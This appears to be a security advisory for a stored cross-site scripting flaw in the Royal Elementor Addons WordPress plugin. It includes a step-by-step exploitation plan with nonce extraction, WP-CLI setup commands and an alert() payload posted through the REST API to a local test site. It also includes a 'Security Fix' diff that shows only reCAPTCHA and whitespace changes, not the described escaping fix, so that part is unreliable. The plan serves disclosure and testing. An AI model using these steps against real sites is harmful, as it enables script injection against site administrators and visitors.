Royal Elementor Addons <= 1.7.1049 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API Meta Bypass
Description
The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'button_text' parameter in all versions up to, and including, 1.7.1049 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.7.1049What Changed in the Fix
Changes introduced in v1.7.1050
Source Code
WordPress.org SVNThis plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in Royal Elementor Addons via the `button_text` parameter, exploiting a REST API metadata bypass. ### 1. Vulnerability Summary The **Royal Elementor Addons** plugin (versions <= 1.7.1049) fails to…
Show full research plan
This plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in Royal Elementor Addons via the button_text parameter, exploiting a REST API metadata bypass.
1. Vulnerability Summary
The Royal Elementor Addons plugin (versions <= 1.7.1049) fails to sanitize the button_text parameter used in several of its Elementor widgets. While WordPress typically prevents Contributors from using unfiltered HTML, the plugin's interaction with the Elementor page-saving process (via the REST API) allows a Contributor-level user to inject arbitrary JavaScript into widget settings. This script is then stored in the _elementor_data post meta and executed when any user, including an administrator, views the affected page.
2. Attack Vector Analysis
- Endpoint: WordPress REST API for Post Updates (
/wp-json/wp/v2/posts/<ID>) or Elementor's internal REST endpoint (/wp-json/elementor/v1/editor/post-content). - Vulnerable Parameter:
button_textwithin thesettingsobject of a Royal Addons widget (e.g.,wpr-button,wpr-advanced-slider). - Authentication: Authenticated with Contributor role or higher.
- Precondition: The Royal Elementor Addons plugin must be active, and a post must be created/editable by the Contributor.
3. Code Flow
- Entry Point: A Contributor sends a REST API request to update the content or metadata of a post they authored.
- Processing: Elementor processes the JSON-encoded
_elementor_datawhich contains widget settings. - The Bypass: The plugin does not implement sufficient server-side sanitization for the
button_textkey when the Elementor data is saved. - Storage: The malicious payload is saved to the database in the
wp_postmetatable under the_elementor_datakey for that post. - Sink: When the post is rendered on the frontend, the
render()method of the Royal Addons widget (e.g., inmodules/button/widgets/wpr-button.php) outputs thebutton_textusing a method that does not escape HTML (e.g.,echo $settings['button_text']or equivalent Elementorrender_attribute).
4. Nonce Acquisition Strategy
To interact with the REST API, a valid _wpnonce is required in the X-WP-Nonce header.
- Identify Trigger: The REST API nonce is typically localized in the
wp-admindashboard or the Elementor Editor. - Setup Page: Create a dummy post to gain access to the Elementor editor context.
- Command:
wp post create --post_type=post --post_status=publish --post_author=<CONTRIBUTOR_ID> --post_title="XSS Test"
- Command:
- Acquisition: Navigate to the WordPress dashboard as the Contributor.
- Extraction: Use
browser_evalto extract the nonce from the globalwpApiSettingsobject.browser_eval("wpApiSettings.nonce")
5. Exploitation Strategy
We will simulate the Elementor save process by sending a raw REST API request to update the _elementor_data meta of a post.
Step 1: Get Post ID
Find a post ID owned by the Contributor.
Step 2: Construct Payload
Create a JSON structure representing an Elementor page containing a Royal Addons Button widget with the XSS payload.
[
{
"id": "exploit-id",
"elType": "section",
"settings": [],
"elements": [
{
"id": "column-id",
"elType": "column",
"settings": [],
"elements": [
{
"id": "widget-id",
"elType": "widget",
"widgetType": "wpr-button",
"settings": {
"button_text": "<img src=x onerror=alert('CVE-2026-0664_XSS')>",
"button_link": { "url": "#" }
}
}
]
}
]
}
]
Step 3: Send REST Request
Use the http_request tool to update the post.
- Method:
POST - URL:
http://localhost:8080/wp-json/wp/v2/posts/<POST_ID> - Headers:
Content-Type: application/jsonX-WP-Nonce: <EXTRACTED_NONCE>
- Body:
{
"meta": {
"_elementor_data": "[JSON_PAYLOAD_STRING_HERE]",
"_elementor_edit_mode": "builder"
}
}
6. Test Data Setup
- Install Plugin: Ensure
royal-elementor-addonsversion 1.7.1049 is active. - User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Post: Create a post as the contributor.
wp post create --post_author=$(wp user get attacker --field=ID) --post_title="Vulnerable Page" --post_status=publish
- Elementor Enable: Ensure Elementor is configured to allow editing of Posts and that Royal Addons widgets are enabled.
7. Expected Results
- The REST API should return a
200 OKresponse confirming the update. - The
_elementor_datameta for the post will contain the raw<img ...>tag. - When an administrator navigates to the post's permalink, an alert box with
CVE-2026-0664_XSSshould appear.
8. Verification Steps
- DB Check: Verify the payload is stored in the database.
wp post meta get <POST_ID> _elementor_data
- Frontend Check: Fetch the post HTML and look for the unescaped payload.
http_requestGET to the post URL.- Search for the string:
<img src=x onerror=alert('CVE-2026-0664_XSS')>in the response body.
9. Alternative Approaches
If the wp/v2/posts endpoint refuses to update the _elementor_data meta directly (due to standard REST restrictions), target the Elementor-specific save endpoint:
- Endpoint:
POST /wp-json/elementor/v1/editor/post-content/<POST_ID> - Body Parameters:
data(the JSON array) andstatus(publish). - Headers: Requires
X-WP-Nonce.
If the wpr-button widget is not available, try the wpr-advanced-slider widget using the button_text parameter within one of the slider items.
Summary
The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'button_text' parameter in various widgets. Authenticated attackers with contributor-level permissions can bypass standard metadata restrictions and inject arbitrary scripts into the Elementor page data via the REST API, which executes when users view the affected page.
Security Fix
@@ -34,9 +34,9 @@ $install_date = get_option('royal_elementor_addons_activation_time'); if ( false == get_option('wpr_maybe_later_time') && false !== $install_date && $this->past_date >= $install_date ) { - add_action( 'admin_notices', [$this, 'render_rating_notice' ]); + add_action( 'admin_notices', [$this, 'render_rating_notice']); } else if ( false != get_option('wpr_maybe_later_time') && $this->past_date >= get_option('wpr_maybe_later_time') ) { - add_action( 'admin_notices', [$this, 'render_rating_notice' ]); + add_action( 'admin_notices', [$this, 'render_rating_notice']); } } @@ -80,6 +80,8 @@ register_setting( 'wpr-settings', 'wpr_recaptcha_v3_site_key' ); register_setting( 'wpr-settings', 'wpr_recaptcha_v3_secret_key' ); register_setting( 'wpr-settings', 'wpr_recaptcha_v3_score' ); + register_setting( 'wpr-settings', 'wpr_recaptcha_v2_site_key' ); + register_setting( 'wpr-settings', 'wpr_recaptcha_v2_secret_key' ); // Lightbox register_setting( 'wpr-settings', 'wpr_lb_bg_color' ); @@ -128,6 +130,17 @@ register_setting( 'wpr-elements-settings', 'wpr-element-'. $slug, [ 'default' => 'on' ] ); } + // Pro widgets that appear in Elements tab (so their toggles are saved) + if ( defined( 'WPR_ADDONS_PRO_VERSION' ) && wpr_fs()->can_use_premium_code() ) { + $pro_element_slugs = [ 'breadcrumbs-pro' ]; + if ( wpr_fs()->is_plan( 'expert' ) ) { + $pro_element_slugs = array_merge( $pro_element_slugs, [ 'category-grid-pro', 'advanced-filters-pro' ] ); + } + foreach ( $pro_element_slugs as $slug ) { + register_setting( 'wpr-elements-settings', 'wpr-element-' . $slug, [ 'default' => 'on' ] ); + } + } + // Theme Builder foreach ( Utilities::get_theme_builder_modules() as $title => $data ) { $slug = $data[0]; @@ -213,7 +226,7 @@ // Render Backup Plugin Popup WPR_Templates_Loop::render_backup_plugin_popup(); - + ?> <!-- Tabs --> @@ -819,6 +832,26 @@ <input type="number" name="wpr_recaptcha_v3_score" id="wpr_recaptcha_v3_score" placeholder="0.5" step="0.1" min="0" max="1" value="<?php echo esc_attr(get_option('wpr_recaptcha_v3_score')); ?>"> </div> + + <div class="wpr-setting"> + <h4> + <span><?php esc_html_e( 'reCAPTCHA v2 (Checkbox) Site Key', 'wpr-addons' ); ?></span> + <br> + <a href="https://www.google.com/recaptcha/admin" target="_blank"><?php esc_html_e( 'How to get reCAPTCHA keys?', 'wpr-addons' ); ?></a> + <p class="wpr-settings-group-description"><?php esc_html_e( 'Use reCAPTCHA v2 checkbox in Form Builder. Create a "reCAPTCHA v2" type key in Google reCAPTCHA admin.', 'wpr-addons' ); ?></p> + </h4> + + <input type="text" name="wpr_recaptcha_v2_site_key" id="wpr_recaptcha_v2_site_key" value="<?php echo esc_attr(get_option('wpr_recaptcha_v2_site_key')); ?>"> + </div> + + <div class="wpr-setting"> + <h4> + <span><?php esc_html_e( 'reCAPTCHA v2 Secret Key', 'wpr-addons' ); ?></span> + <br> + </h4> + + <input type="text" name="wpr_recaptcha_v2_secret_key" id="wpr_recaptcha_v2_secret_key" value="<?php echo esc_attr(get_option('wpr_recaptcha_v2_secret_key')); ?>"> + </div> </div>
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level access or higher must: 1. Create or edit a post and access the WordPress REST API context to retrieve a valid security nonce (e.g., from the `wpApiSettings.nonce` global variable in the dashboard). 2. Construct a JSON payload for the `_elementor_data` post meta. This payload must include an Elementor widget from Royal Addons (such as 'wpr-button') with a malicious script in the 'button_text' setting (e.g., `<img src=x onerror=alert('XSS')>`). 3. Send a POST request to the WordPress REST API endpoint for posts (`/wp-json/wp/v2/posts/<POST_ID>`) or the Elementor-specific content endpoint (`/wp-json/elementor/v1/editor/post-content/<POST_ID>`). 4. Include the malicious JSON payload in the request body under the `_elementor_data` meta key. 5. The stored script will execute in the browser of any user, including administrators, who views the rendered frontend of the compromised post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.